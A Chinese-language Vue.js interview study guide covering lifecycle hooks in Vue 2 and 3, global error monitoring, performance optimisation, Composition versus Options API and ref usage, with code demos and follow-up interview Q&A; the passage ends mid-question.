  • 项目准备调整到 Vue 3,但旧组件大量依赖 $children 和 $listeners;在不假设具体迁移工具的前提下,你会先识别哪些设计风险?

    应先标记依赖 $children 顺序访问实例、以及通过 $listeners 透传事件的组件,因为资料已明确这些接口在 Vue 3 废弃。将父子交互收敛为显式 props、事件和 ref,跨层依赖改为 provide/inject 或状态仓库;迁移会增加接口改造成本,不能只做名称替换。

  • 线上切换路由后,旧页面注册的 EventBus 监听仍响应新页面事件,导致一次操作执行两遍;你会怎样定位通信链路并止损?

    先查中央事件总线上同名事件的 $on 注册位置与组件销毁时机,确认旧监听是否仍被保留,再核对发送方是否重复 $emit。短期应在对应生命周期解除监听并统一事件名;长期优先改为显式父子通信或受控状态管理,避免生命周期与全局监听脱节。

  • 仪表盘有十几个兄弟组件共享筛选条件,架构师在 $parent、EventBus 和 Vuex 之间争论;你会选择哪一个并说明代价?

    持续共享且会被多个组件读写的筛选状态更适合放进 Vuex,其状态具有响应性,并通过显式提交 mutation 追踪变化。$parent 会把兄弟组件绑在具体层级上,EventBus 难以追踪状态来源;引入仓库也会增加样板与治理成本,小范围一次性通知未必值得。

# Vue的生命周期方法有哪些

⚡ 30 秒速记

  • Vue 实例有一个完整的生命周期,也就是从开始创建、初始化数据、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载等一系列过程,我们称这是Vue的生命周期

Vue 的核心生命周期钩子覆盖创建、挂载、更新和卸载四个阶段,每个阶段都有前后两个调用点。 Vue 2 中依次是 beforeCreate、created、beforeMount、mounted、beforeUpdate、updated、beforeDestroy 和 destroyed;后两个在 Vue 3 中改为 beforeUnmount 和 unmounted。需要操作已挂载的 DOM 可放在 mounted,清理定时器或事件可放在卸载阶段。组合式 API 使用 onMounted、onUpdated、onUnmounted 等钩子,而创建阶段的逻辑通常直接写在 setup 中。

  1. Vue 实例有一个完整的生命周期,也就是从开始创建、初始化数据、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载等一系列过程,我们称这是Vue的生命周期
  2. Vue生命周期总共分为8个阶段创建前/后,载入前/后,更新前/后,销毁前/后

beforeCreate => created => beforeMount => Mounted => beforeUpdate => updated => beforeDestroy => destroyed。keep-alive下:activated deactivated

生命周期vue2 生命周期vue3 描述
beforeCreate beforeCreate 在实例初始化之后,数据观测(data observer) 之前被调用。
created created 实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。这里没有$el
beforeMount beforeMount 在挂载开始之前被调用:相关的 render 函数首次被调用
mounted mounted el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子
beforeUpdate beforeUpdate 组件数据更新之前调用,发生在虚拟 DOM 打补丁之前
updated updated 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子
beforeDestroy beforeUnmount 实例销毁之前调用。在这一步,实例仍然完全可用
destroyed unmounted 实例销毁后调用。调用后, Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。

其他几个生命周期

生命周期vue2 生命周期vue3 描述
activated activated keep-alive专属,组件被激活时调用
deactivated deactivated keep-alive专属,组件被销毁时调用
errorCaptured errorCaptured 捕获一个来自子孙组件的错误时被调用
- renderTracked 调试钩子,响应式依赖被收集时调用
- renderTriggered 调试钩子,响应式依赖被触发时调用
- serverPrefetch ssr only,组件实例在服务器上被渲染前调用
  1. 要掌握每个生命周期内部可以做什么事
  • beforeCreate 初始化vue实例,进行数据观测。执行时组件实例还未创建,通常用于插件开发中执行一些初始化任务
  • created 组件初始化完毕,可以访问各种数据,获取接口数据等
  • beforeMount 此阶段vm.el虽已完成DOM初始化,但并未挂载在el选项上
  • mounted 实例已经挂载完成,可以进行一些DOM操作
  • beforeUpdate 更新前,可用于获取更新前各种状态。此时view层还未更新,可用于获取更新前各种状态。可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。
  • updated 完成view层的更新,更新后,所有状态已是最新。可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。 该钩子在服务器端渲染期间不被调用。
  • destroyed 可以执行一些优化操作,清空定时器,解除绑定事件
  • vue3 beforeunmount:实例被销毁前调用,可用于一些定时器或订阅的取消
  • vue3 unmounted:销毁一个实例。可清理它与其它实例的连接,解绑它的全部指令及事件监听器

<div id="app">{{name}}</div>
<script>
    const vm = new Vue({
        data(){
            return {name:'poetries'}
        },
        el: '#app',
        beforeCreate(){
            // 数据观测(data observer) 和 event/watcher 事件配置之前被调用。
            console.log('beforeCreate');
        },
        created(){
            // 属性和方法的运算, watch/event 事件回调。这里没有$el
            console.log('created')
        },
        beforeMount(){
            // 相关的 render 函数首次被调用。
            console.log('beforeMount')
        },
        mounted(){
            // 被新创建的 vm.$el 替换
            console.log('mounted')
        },
        beforeUpdate(){
            //  数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。
            console.log('beforeUpdate')
        },
        updated(){
            //  由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
            console.log('updated')
        },
        beforeDestroy(){
            // 实例销毁之前调用 实例仍然完全可用
            console.log('beforeDestroy')
        },
        destroyed(){ 
            // 所有东西都会解绑定,所有的事件监听器会被移除
            console.log('destroyed')
        }
    });
    setTimeout(() => {
        vm.name = 'poetry';
        setTimeout(() => {
            vm.$destroy()  
        }, 1000);
    }, 1000);
</script>
  1. 组合式API生命周期钩子

你可以通过在生命周期钩子前面加上 “on” 来访问组件的生命周期钩子。

下表包含如何在 setup() 内部调用生命周期钩子:

选项式 API Hook inside setup
beforeCreate 不需要*
created 不需要*
beforeMount onBeforeMount
mounted onMounted
beforeUpdate onBeforeUpdate
updated onUpdated
beforeUnmount onBeforeUnmount
unmounted onUnmounted
errorCaptured onErrorCaptured
renderTracked onRenderTracked
renderTriggered onRenderTriggered

因为 setup 是围绕 beforeCreate 和 created 生命周期钩子运行的,所以不需要显式地定义它们。换句话说,在这些钩子中编写的任何代码都应该直接在 setup 函数中编写

export default {
  setup() {
    // mounted
    onMounted(() => {
      console.log('Component is mounted!')
    })
  }
}

setup和created谁先执行?

  • beforeCreate:组件被创建出来,组件的methods和data还没初始化好
  • setup:在beforeCreate和created之前执行
  • created:组件被创建出来,组件的methods和data已经初始化好了

由于在执行setup的时候,created还没有创建好,所以在setup函数内我们是无法使用data和methods的。所以vue为了让我们避免错误的使用,直接将setup函数内的this执行指向undefined

import { ref } from "vue"
export default {
  // setup函数是组合api的入口函数,注意在组合api中定义的变量或者方法,要在template响应式需要return{}出去
  setup(){
    let count = ref(1)
    function myFn(){
      count.value +=1
    }
    return {count,myFn}
  },
  
}
  1. 其他问题
  • 什么是vue生命周期? Vue 实例从创建到销毁的过程,就是生命周期。从开始创建、初始化数据、编译模板、挂载Dom→渲染、更新→渲染、销毁等一系列过程,称之为 Vue 的生命周期。
  • vue生命周期的作用是什么? 它的生命周期中有多个事件钩子,让我们在控制整个Vue实例的过程时更容易形成好的逻辑。
  • vue生命周期总共有几个阶段? 它可以总共分为8个阶段:创建前/后、载入前/后、更新前/后、销毁前/销毁后。
  • 第一次页面加载会触发哪几个钩子? 会触发下面这几个beforeCreate、created、beforeMount、mounted 。
  • 你的接口请求一般放在哪个生命周期中? 接口请求一般放在mounted中,但需要注意的是服务端渲染时不支持mounted,需要放到created中
  • DOM 渲染在哪个周期中就已经完成? 在mounted中,
    • 注意 mounted 不会承诺所有的子组件也都一起被挂载。如果你希望等到整个视图都渲染完毕,可以用 vm.$nextTick 替换掉 mounted
      mounted: function () {
        this.$nextTick(function () {
            // Code that will run only after the
            // entire view has been rendered
        })
      }
    

💬 面试官追问

  • 一个组件在 created 中读取 this.$el,同时认为父组件进入 mounted 后所有子组件的 DOM 都已可用,这两处判断分别错在哪里?

    created 时数据观测、属性和事件配置已经完成,但组件尚未挂载,因此没有可用的 this.$el。父组件的 mounted 也不保证全部子组件都已挂载;依赖完整视图的操作应放进 $nextTick,但仍要避免把常规数据初始化绑定到 DOM 时机。

  • 后台表格页需要初始化筛选数据、请求接口,并在渲染后测量表头宽度,你会把三类逻辑分别放到哪些生命周期位置?

    筛选数据初始化和不依赖 DOM 的请求可在 created 或 setup 阶段启动,表头测量应放在 mounted 或 onMounted 后。若测量还依赖子组件完成更新,应再等待 $nextTick;服务端渲染不会调用 mounted,请求位置还需结合 SSR 流程调整。

  • 同一个组件既要运行在浏览器 SPA,也要参与服务端渲染,原先放在 mounted 和 updated 中的请求、DOM 操作应如何重新划分?

    服务端渲染期间不会调用 mounted 和 updated,所以通用数据获取不能只依赖这两个钩子,可按框架流程使用创建阶段或 serverPrefetch。真实 DOM 操作仍只能留在客户端挂载之后,并加运行环境判断,否则服务端会缺少目标节点或浏览器 API。

  • 一个 keep-alive 标签页切走后定时器仍在运行,切回来又重复注册监听;你会沿哪些钩子检查并修复?

    被 keep-alive 包裹的组件切走通常是停用而非卸载,应检查 deactivated 是否暂停定时器、解除临时监听,并在 activated 中恢复。若只在 unmounted 或 destroyed 清理,缓存期间不会执行;恢复逻辑还要保证幂等,避免每次激活都叠加注册。

  • 详情页在 updated 中根据 DOM 高度修改响应式状态,线上出现持续重渲染,你会如何判断并调整?

    updated 已发生在虚拟 DOM 重新渲染和补丁完成之后,此时再次修改参与渲染的状态可能形成更新循环。应先确认该状态是否真的依赖更新后 DOM,再通过条件比较阻止重复写入,或把一次性测量移到 mounted 配合 $nextTick;频繁测量仍有布局开销。

# 如何统一监听Vue组件报错

⚡ 30 秒速记

  • window.onerror

统一监听 Vue 组件报错,我会组合使用 errorHandler、errorCaptured 和 window.onerror。 app.config.errorHandler 负责汇总组件错误,errorCaptured 适合监控重要的下级组件,返回 false 后错误不会继续传播。异步回调中的异常无法被前两者捕获,需要由 window.onerror 补位。对于没有被 catch 的 Promise 错误,还要额外监听 unhandledrejection。

  • window.onerror
    • 全局监听所有JS错误,包括异步错误
    • 但是它是JS级别的,识别不了Vue组件信息,Vue内部的错误还是用Vue来监听
    • 捕捉一些Vue监听不到的错误
  • errorCaptured生命周期
    • 监听所有下级组件的错误
    • 返回false会阻止向上传播到window.onerror
  • errorHandler配置
    • Vue全局错误监听,所有组件错误都会汇总到这里
    • 但errorCaptured返回false,不会传播到这里
    • window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
  • 异步错误
    • 异步回调里的错误,errorHandler监听不到
    • 需要使用window.onerror
  • 总结
    • 实际工作中,三者结合使用
    • promise(promise没有被catch的报错,使用onunhandledrejection监听)和setTimeout异步,vue里面监听不了
    window.addEventListener("unhandledrejection", event => {
      // 捕获 Promise 没有 catch 的错误
      console.info('unhandledrejection----', event)
    })
    Promise.reject('错误信息')
    // .catch(e => console.info(e)) // catch 住了,就不会被 unhandledrejection 捕获
    
    • errorCaptured监听一些重要的、有风险组件的错误
    • window.onerror和errorCaptured候补全局监听
// main.js
const app = createApp(App)

// 所有组件错误都会汇总到这里
// window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
// 阻止向window.onerror传播
app.config.errorHandler = (error, vm, info) => {
  console.info('errorHandler----', error, vm, info)
}
// 在app.vue最上层中监控全局组件
export default {
  mounted() {
    /**
     * msg:错误的信息
     * source:哪个文件
     * line:行
     * column:列
     * error:错误的对象
     */
    // 可以监听一切js的报错, try...catch 捕获的 error ,无法被 window.onerror 监听到
    window.onerror = function (msg, source, line, column, error) {
      console.info('window.onerror----', msg, source, line, column, error)
    }
    // 用addEventListener跟window.onerror效果一样,参数不一样
    // window.addEventListener('error', event => {
    //   console.info('window error', event)
    // })
  },
  errorCaptured: (errInfo, vm, info) => {
    console.info('errorCaptured----', errInfo, vm, info)
    // 返回false会阻止向上传播到window.onerror
    // 返回false会阻止传播到errorHandler
    // return false
  },
}
// ErrorDemo.vue
export default {
  name: 'ErrorDemo',
  data() {
    return {
      num: 100
    }
  },
  methods: {
    clickHandler() {
      try {
        this.num() // 报错
      } catch (ex) {
        console.error('catch.....', ex)
        // try...catch 捕获的 error ,无法被 window.onerror 监听到
      }

      this.num() // 报错
    }
  },
  mounted() {
    // 被errorCaptured捕获
    // throw new Error('mounted 报错')

    // 异步报错,errorHandler、errorCaptured监听不到,vue对异步报错监听不了,需要使用window.onerror来做
    // setTimeout(() => {
    //     throw new Error('setTimeout 报错')
    // }, 1000)
  },
}

💬 面试官追问

  • 支付组件的子组件在 mounted 中抛错,父组件 errorCaptured 返回了 false,监控平台配置的 app.config.errorHandler 却没有记录,原因是什么?

    errorCaptured 返回 false 会停止错误继续传播,因此全局 app.config.errorHandler 不会再收到该错误。局部边界若选择吞掉传播,就必须自行完成上报和降级展示;否则关键故障会只留在局部日志中,形成监控盲区。

  • 你要给一个 Vue 单页应用接入统一错误监控,组件渲染错误、setTimeout 抛错和未处理的 Promise 拒绝分别接到哪里?

    组件生命周期或渲染链路中的错误集中交给 app.config.errorHandler,高风险子树可用 errorCaptured 补充上下文。setTimeout 等 Vue 捕获不到的异步异常由 window.onerror 或全局 error 事件处理,未捕获的 Promise 拒绝则监听 unhandledrejection;各入口需统一去重。

  • 页面把一个请求包在 try...catch 中并只打印 console.error,线上既没有触发 window.onerror,也没有触发 unhandledrejection,这是否说明全局监听失效?

    这不代表全局监听失效,因为异常被 try...catch 消费后不会再冒泡到 window.onerror,被 .catch 处理的拒绝也不会触发 unhandledrejection。若仍需监控,应在捕获分支显式上报,并区分已处理业务失败与真正未处理异常,避免制造重复告警。

  • 一个第三方图表组件偶发崩溃,但产品要求页面其余区域继续工作,同时平台团队要求所有异常都进入全局监控,你会怎样设计错误边界?

    可在包裹图表的上级组件使用 errorCaptured 展示局部降级界面,并携带组件上下文上报。若还要让 app.config.errorHandler 统一汇总,就不要返回 false,同时为两处上报设置同一错误标识去重;若选择阻断传播,局部边界必须承担完整记录责任。

  • 监控平台只收到组件名称和生命周期信息,却没有捕获定时任务中的线上异常,你会先检查哪些链路?

    先确认组件错误是否确实进入 app.config.errorHandler,再检查是否注册了 window.onerror 或全局 error 监听,以及脚本是否在异常发生前完成初始化。定时回调错误不属于 Vue 组件调用链,不能指望 errorCaptured 捕获;若异常已被业务代码捕获,还需检查捕获分支是否主动上报。

# 在实际工作中,你对Vue做过哪些优化

⚡ 30 秒速记

  • v-if和v-show

我一般从减少无效渲染、合理缓存和按需加载三个方向优化 Vue 应用。 条件不满足时用 v-if 销毁组件,频繁切换才考虑 v-show,列表的 key 不用 index,重复计算则交给 computed 缓存。像页签可以用 keep-alive,但缓存会占内存,不能无差别使用。编辑器、复杂表格等大组件和非首页路由适合异步加载;SSR 成本较高,只在确有需要时考虑。

  • v-if和v-show
    • v-if彻底销毁组件
    • v-show使用dispaly切换block/none
    • 实际工作中大部分情况下使用v-if就好,不要过渡优化
  • v-for使用key
    • key不要使用index
  • 使用computed缓存
  • keep-alive缓存组件
    • 频繁切换的组件 tabs
    • 不要乱用,缓存会占用更多的内存
  • 异步组件
    • 针对体积较大的组件,如编辑器、复杂表格、复杂表单
    • 拆包,需要时异步加载,不需要时不加载
    • 减少主包体积,首页会加载更快
    • 演示
    <!-- index.vue -->
    <template>
      <Child></Child>
    </template>
    <script>
    import { defineAsyncComponent } from 'vue'
    export default {
      name: 'AsyncComponent',
      components: {
        // child体积大 异步加载才有意义
        // defineAsyncComponent vue3的写法
        Child: defineAsyncComponent(() => import(/* webpackChunkName: "async-child" */ './Child.vue'))
      }
    }
    
    <!-- child.vue -->
    <template>
      <p>async component child</p>
    </template>
    <script>
    export default {
      name: 'Child',
    }
    </script>
    
  • 路由懒加载
    • 项目比较大,拆分路由,保证首页先加载
    • 演示
    const routes = [
      {
        path: '/',
        name: 'Home',
        component: Home // 直接加载
      },
      {
        path: '/about',
        name: 'About',
        // route level code-splitting
        // this generates a separate chunk (about.[hash].js) for this route
        // which is lazy-loaded when the route is visited.
        // 路由懒加载
        component: () => import(/* webpackChunkName: "about" */ '../views/About.vue')
      }
    ]
    
  • 服务端SSR
    • 可使用Nuxt.js
    • 按需优化,使用SSR成本比较高
  • 实际工作中你遇到积累的业务的优化经验也可以说

连环问:你在使用Vue过程中遇到过哪些坑

  • 内存泄露
    • 全局变量、全局事件、全局定时器没有销毁
    • 自定义事件没有销毁
  • Vue2响应式的缺陷(vue3不在有)
    • data后续新增属性用Vue.set
    • data删除属性用Vue.delete
    • Vue2并不支持数组下标的响应式。也就是说Vue2检测不到通过下标更改数组的值 arr[index] = value
  • 路由切换时scroll会重新回到顶部
    • 这是SPA应用的通病,不仅仅是vue
    • 如,列表页滚动到第二屏,点击详情页,再返回列表页,此时列表页组件会重新渲染回到了第一页
    • 解决方案
      • 在列表页缓存翻页过的数据和scrollTop的值
      • 当再次返回列表页时,渲染列表组件,执行scrollTo(xx)
      • 终极方案:MPA(多页面) + App WebView(可以打开多个页面不会销毁之前的)
  • 日常遇到问题记录总结,下次面试就能用到

💬 面试官追问

  • 一个筛选面板每天只展开一次,开发者为了避免首次创建成本长期使用 v-show;另一个高频切换菜单却使用 v-if,你会怎样纠正?

    低频展开且内容较重的面板更适合 v-if,关闭时可销毁实例;高频切换菜单可考虑 v-show,通过 display 避免反复创建。选择取决于切换频率和保留状态需求,不能把某个指令当成固定优化规则,过度销毁或长期占用 DOM 都有代价。

  • 首页主包包含富文本编辑器和复杂表格,但用户只有进入后台配置页才会使用;你会如何拆分加载边界?

    应把编辑器和复杂表格定义为异步组件,并将后台配置路由改为动态 import(),让相关代码在访问时再加载。这样可减少首页必须加载的内容;拆得过细会增加请求和加载状态管理,因此只应优先处理体积较大、非首屏必需的模块。

  • 商品列表使用数组 index 作为 key,插入一条商品后输入框内容出现在错误行,你如何解释并修复?

    插入或重排后,index 对应的业务项发生变化,Vue 可能复用到不匹配的节点和组件状态。应改用稳定且唯一的商品标识作为 key,让补丁过程识别真实身份;若业务数据没有稳定标识,应先补齐数据模型,而不是临时拼接易变化的值。

  • 标签页用 keep-alive 后返回速度改善,但线上内存持续增长且定时请求重复执行,你会怎样排查?

    先检查被缓存组件是否在 deactivated 暂停定时器、全局事件和订阅,并确认再次 activated 时没有重复注册。keep-alive 会保留组件状态并占用内存,不应覆盖所有页面;只缓存频繁往返且恢复成本高的标签页,其他页面应正常卸载。

  • Vue 2 列表页直接执行 arr[index] = value 并给对象新增字段,数据已变但页面不更新,你会怎么处理?

    这是 Vue 2 响应式能力的边界,数组下标赋值和对象后加属性可能无法被侦测。应使用 Vue.set 设置数组项或新增属性,删除属性则使用 Vue.delete,也可通过替换数组或对象引用触发更新;迁移 Vue 3 能改善这类限制,但不应作为临时故障的唯一解法。

  • 从详情页返回长列表后滚动位置丢失,产品希望体验像原生多页应用,你会在缓存状态与架构改造之间怎样取舍?

    常规 SPA 可缓存已经加载的分页数据和 scrollTop,返回列表后恢复渲染并调用 scrollTo,改动范围相对可控。若业务要求多个页面实例长期独立保留,可评估 MPA 配合 App 多 WebView;后者架构和资源成本更高,不应只为单个列表问题采用。

# 5 Vue3

# vue3 对 vue2 有什么优势

⚡ 30 秒速记

  • 性能更好(编译优化、使用proxy等)

Vue 3 相比 Vue 2,核心优势是性能和体积更好,同时对 TypeScript 的支持也更完善。 它通过编译优化以及使用 Proxy 等方式改进性能,因此整体开发和运行体验更好。代码组织和逻辑抽离能力也得到增强,并提供了更多新功能;不过实际项目是否升级,仍要结合业务需要来判断。

  • 性能更好(编译优化、使用proxy等)
  • 体积更小
  • 更好的TS支持
  • 更好的代码组织
  • 更好的逻辑抽离
  • 更多新功能

💬 面试官追问

  • 团队说 Vue 3 只是把 Vue 2 的语法换成 setup,因此迁移没有工程收益;你会用哪些维度反驳,又会保留什么前提?

    Vue 3 的变化不只在写法,还包括基于 Proxy 的响应式、编译优化、更好的 TypeScript 支持,以及更便于组织和抽离逻辑的 Composition API。迁移收益仍取决于项目规模和痛点,若旧项目稳定且改造成本高,优势并不自动等于应立即迁移。

  • 一个大型表单把校验、请求和联动逻辑分散在 data、methods、computed、watch 中,Vue 3 能怎样改善维护边界?

    可用 Composition API 按业务关注点组织相关状态和方法,再抽成可复用组合函数,减少同一功能散落在多个选项中的情况。它改善的是代码组织和逻辑抽离,不会自动消除复杂业务;组合函数若职责过大或共享状态边界不清,仍会变得难以维护。

  • 团队正在新建一个 TypeScript 组件库,但成员熟悉 Vue 2;在类型支持与交付风险冲突时,你会如何选型?

    Vue 3 对 TypeScript 的支持更好,适合新组件库把属性、事件和组合逻辑纳入类型约束,也能减少后续迁移负担。仍需评估团队学习成本和现有 Vue 2 消费方的兼容要求;若必须同时服务旧应用,应先明确构建产物与接口边界,而不是只凭语言偏好决定。

  • 线上页面出现新增对象属性后视图不更新,负责人认为升级 Vue 3 就能解决全部响应式故障,你会如何校正判断?

    Vue 3 使用 Proxy,确实改善了 Vue 2 对新增、删除属性及数组下标变化的侦测限制。它不能覆盖所有更新异常,仍需检查状态是否处于响应式体系、渲染是否读取该依赖以及组件 key 是否稳定;升级只能解决机制边界,不能替代链路排查。

  • 首页性能治理会上,有人仅凭“Vue 3 性能更好、体积更小”要求立刻重写整个系统,你会要求补充哪些判断?

    应先确认瓶颈来自框架运行、构建体积还是业务资源,并核对 Vue 3 的编译优化和更小体积是否能覆盖当前问题。全量重写会引入迁移、回归和生态适配成本;若主要负担来自大组件或路由未拆包,应优先处理异步组件和懒加载等直接问题。

# vue3 和 vue2 的生命周期有什么区别

⚡ 30 秒速记

  • Options API生命周期

Vue 3 的生命周期整体延续了 Vue 2,主要变化是卸载阶段改名,并新增了 Composition API 的写法。 在 Options API 中,beforeDestroy 改为 beforeUnmount,destroyed 改为 unmounted,其他生命周期基本沿用。使用 Composition API 时,可以在 setup 中调用 onMounted、onUpdated、onUnmounted 等钩子。简单来说,setup 对应原来的 beforeCreate 和 created 阶段,项目中按所选 API 风格组织即可。

Options API生命周期

  • beforeDestroy改为beforeUnmount
  • destroyed改为umounted
  • 其他沿用vue2生命周期

Composition API生命周期

import { onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted } from 'vue'

export default {
    name: 'LifeCycles',
    props: {
      msg: String
    },
    // setup等于 beforeCreate 和 created
    setup() {
        console.log('setup')

        onBeforeMount(() => {
            console.log('onBeforeMount')
        })
        onMounted(() => {
            console.log('onMounted')
        })
        onBeforeUpdate(() => {
            console.log('onBeforeUpdate')
        })
        onUpdated(() => {
            console.log('onUpdated')
        })
        onBeforeUnmount(() => {
            console.log('onBeforeUnmount')
        })
        onUnmounted(() => {
            console.log('onUnmounted')
        })
    },

    // 兼容vue2生命周期 options API和composition API生命周期二选一
    beforeCreate() {
        console.log('beforeCreate')
    },
    created() {
        console.log('created')
    },
    beforeMount() {
        console.log('beforeMount')
    },
    mounted() {
        console.log('mounted')
    },
    beforeUpdate() {
        console.log('beforeUpdate')
    },
    updated() {
        console.log('updated')
    },
    // beforeDestroy 改名
    beforeUnmount() {
        console.log('beforeUnmount')
    },
    // destroyed 改名
    unmounted() {
        console.log('unmounted')
    }
}

💬 面试官追问

  • 迁移脚本把 Vue 2 的 beforeDestroy 和 destroyed 原样保留在 Vue 3 组件里,导致清理逻辑没有按预期执行,你会改成什么?

    Vue 3 的 Options API 应分别改为 beforeUnmount 和 unmounted,其余主要生命周期名称仍可沿用。若改用 Composition API,则对应使用 onBeforeUnmount 和 onUnmounted;迁移时还要验证定时器、订阅和全局事件确实在卸载链路中被清理。

  • 开发者在 Vue 3 的 setup 中又注册 beforeCreate 和 created,想分别初始化两批状态,这个设计为什么不成立?

    setup 本身就在 beforeCreate 和 created 附近的创建阶段执行,Composition API 没有对应的 onBeforeCreate 与 onCreated。这两批不依赖 DOM 的初始化可直接写在 setup 中;若代码依赖 Options API 的 this.data 或 this.methods,此时也不可使用。

  • 同一组件同时保留 Options API 的 mounted 和 Composition API 的 onMounted,评审双方争论只能二选一;你会如何处理?

    Vue 3 可以在组件中使用 Options API 生命周期,也可在 setup 中注册对应的 Composition API 钩子,源码示例中的“二选一”更适合作为组织建议而非运行前提。工程上应选择一种主要风格以免逻辑分散;混用时必须明确执行职责,避免重复请求或重复监听。

  • 一个迁移后的页面能打印 setup,却始终没有执行 onMounted 中的 DOM 初始化,你会检查哪些代码位置?

    先确认 onMounted 是否在组件 setup 执行期间同步注册,以及组件最终是否真的进入挂载流程。还要检查条件渲染是否在挂载前移除了组件、初始化是否实际抛错;setup 被调用只说明进入创建阶段,并不能证明组件随后成功挂载。

  • Vue 3 组件需要在挂载、更新和卸载阶段分别操作图表实例,你会如何映射钩子并控制副作用?

    创建图表可放在 onMounted,依赖更新后 DOM 的刷新放在 onUpdated,销毁实例和解绑监听放在 onBeforeUnmount 或 onUnmounted。不要在 onUpdated 无条件修改参与渲染的响应式状态,否则可能形成更新循环;频繁更新还应先判断数据是否真的变化。

# 如何理解Composition API和Options API

⚡ 30 秒速记

  • composition API对比Option API

Composition API 更适合按业务逻辑组织和复用代码,Options API 则更适合结构简单的组件。 Composition API 能把相关逻辑放在一起,并提供更好的逻辑复用和类型推导。小型项目或业务逻辑简单时,使用 Options API 的成本通常更低;中大型、逻辑复杂的项目更适合 Composition API。我一般不建议在同一项目中随意混用两种风格,否则代码组织容易变得混乱。

composition API对比Option API

  • Composition API带来了什么
    • 更好的代码组织
    • 更好的逻辑复用
    • 更好的类型推导
  • Composition API和Options API如何选择
    • 不建议共用,会引起混乱
    • 小型项目、业务逻辑简单,用Option API成本更小一些
    • 中大型项目、逻辑复杂,用Composition API

💬 面试官追问

  • 一个只有登录表单和结果提示的小页面,团队却要求所有状态都拆成多个 Composition API 合成函数,你会支持吗?

    不建议仅为统一形式强行拆分,这类业务逻辑简单的页面使用 Options API 往往成本更小。若合成函数没有形成可复用的业务逻辑,拆分只会增加跳转和理解负担;页面复杂度增长后再迁移,需要承担重构成本。

  • 商品详情页同时包含规格联动、库存查询和埋点,三名开发者要并行维护,你会怎样用 Composition API 组织代码?

    我会按规格、库存和埋点等业务关注点组织状态与操作,并把可独立复用的逻辑提取成合成函数。这样相关代码更集中,也能获得更好的逻辑复用与类型推导;边界划分过细时,依赖关系仍可能变得零散。

  • 原本简单的后台列表从两个筛选项扩展到权限、分页、缓存和批量操作,继续使用 Options API 还是切换?

    当多个业务逻辑开始横跨 data、methods 等选项并频繁联动时,我会倾向迁移到 Composition API。迁移应围绕完整业务逻辑逐块进行,而不是机械改写语法;若页面仍稳定且改动很少,迁移收益可能覆盖不了成本。

  • 线上组件同时写了 setup、data 和 methods,同名状态更新后模板展示异常,你先查什么?

    先确认模板实际读取的值来自 setup 返回值还是 Options API 选项,并排查同名状态及重复业务逻辑。两套 API 共用容易造成状态归属和生命周期入口混乱,宜收敛到一种组织方式;改造时要保留现有行为并逐项回归。

  • 技术负责人强调统一使用 Composition API,而维护团队认为旧的小组件继续用 Options API 更清晰,你怎么定规则?

    新建的中大型复杂模块可统一采用 Composition API,稳定且逻辑简单的小组件不必为形式一致立即重写。判断重点是代码组织、复用和类型推导收益,而不是语法偏好;允许两类组件并存,但单个组件内不建议混用。

# ref如何使用

⚡ 30 秒速记

  • 生成值类型的响应式数据

ref 用来创建值类型的响应式数据,读取和修改时通过 .value 操作。 例如 const ageRef = ref(20),在脚本中可用 ageRef.value = 25 更新,依赖它的内容也会随之变化。它用于模板或放入 reactive 对象时不需要手动写 .value。ref(null) 还可以配合模板上的 ref 属性获取 DOM 节点,但应在 onMounted 之后访问。

ref

  • 生成值类型的响应式数据
  • 可用于模板和reactive
  • 通过.value修改值
<template>
    <p>ref demo {{ageRef}} {{state.name}}</p>
</template>

<script>
import { ref, reactive } from 'vue'

export default {
    name: 'Ref',
    setup() {
        const ageRef = ref(20) // 值类型 响应式
        const nameRef = ref('test')

        const state = reactive({
            name: nameRef
        })

        setTimeout(() => {
            console.log('ageRef', ageRef.value)

            ageRef.value = 25 // .value 修改值
            nameRef.value = 'testA'
        }, 1500);

        return {
            ageRef,
            state
        }
    }
}
</script>
<!-- ref获取dom节点 -->
<template>
    <p ref="elemRef">我是一行文字</p>
</template>

<script>
import { ref, onMounted } from 'vue'

export default {
    name: 'RefTemplate',
    setup() {
        const elemRef = ref(null)

        onMounted(() => {
            console.log('ref template', elemRef.value.innerHTML, elemRef.value)
        })

        return {
            elemRef
        }
    }
}
</script>

💬 面试官追问

  • 计数器里执行 count = 2 后模板仍显示旧值,而 count 是 setup 中创建的 ref(0),错在哪里?

    脚本中应写成 count.value = 2,因为 ref 返回的是保存值的响应式对象,直接覆盖变量会丢掉原来的引用。模板读取 count 时会自动处理 .value;这种自动处理不能照搬到普通脚本表达式中。

  • 用户资料页有年龄和姓名两个简单状态,同时还有一个 reactive 表单对象,你会怎样放置这些 ref?

    年龄、姓名这类值类型可分别用 ref 创建,并通过 .value 在脚本中修改;需要时也可把 ref 放入 reactive 对象供模板使用。命名和返回边界要清晰,否则同一状态被多处包装后会增加归属判断成本。

  • 弹窗原先只展示文本,后来要求打开后读取内容节点的 innerHTML,还能把同一个 ref 当普通数据使用吗?

    模板节点引用应单独声明为 ref(null),绑定到元素的 ref 属性,并在 onMounted 后通过 .value 访问节点。它与普通值状态虽然使用同一 API,但语义不同;挂载前或节点未渲染时,.value 可能仍为空。

  • 线上页面偶发报错,日志指向 elemRef.value.innerHTML,该节点受条件渲染控制,你会沿什么路径排查?

    先确认访问发生在 onMounted 之后,再检查条件渲染时节点是否真实存在以及模板引用名是否一致。读取前应对 elemRef.value 做空值保护;即使组件已经挂载,节点被条件移除后引用也不能假定始终可用。

  • 一个组件既要保存请求返回的数字,又要拿到输入框 DOM,评审中有人主张全部改成 reactive,你如何取舍?

